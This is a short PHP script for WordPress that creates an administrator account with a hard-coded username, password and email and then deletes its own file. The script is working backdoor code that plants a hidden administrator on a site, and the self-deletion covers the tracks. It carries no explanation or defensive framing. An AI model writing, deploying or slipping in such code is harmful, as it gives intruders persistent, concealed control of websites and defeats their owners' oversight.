<?php 
require_once($_SERVER['DOCUMENT_ROOT'].'/wp-load.php'); 
$new_username = 'alr'; 
$new_password = 'alr@'; 
$new_email = 'alr@gemail.ee'; 
if ( !username_exists($new_username) && !email_exists($new_email) ) { 
    $user_id = wp_create_user( $new_username, $new_password, $new_email ); 
    $user = new WP_User( $user_id ); 
    $user->set_role( 'administrator' ); 
    echo 'User created successfully.'; 
}else{echo 'User exist.'; }
unlink(__FILE__);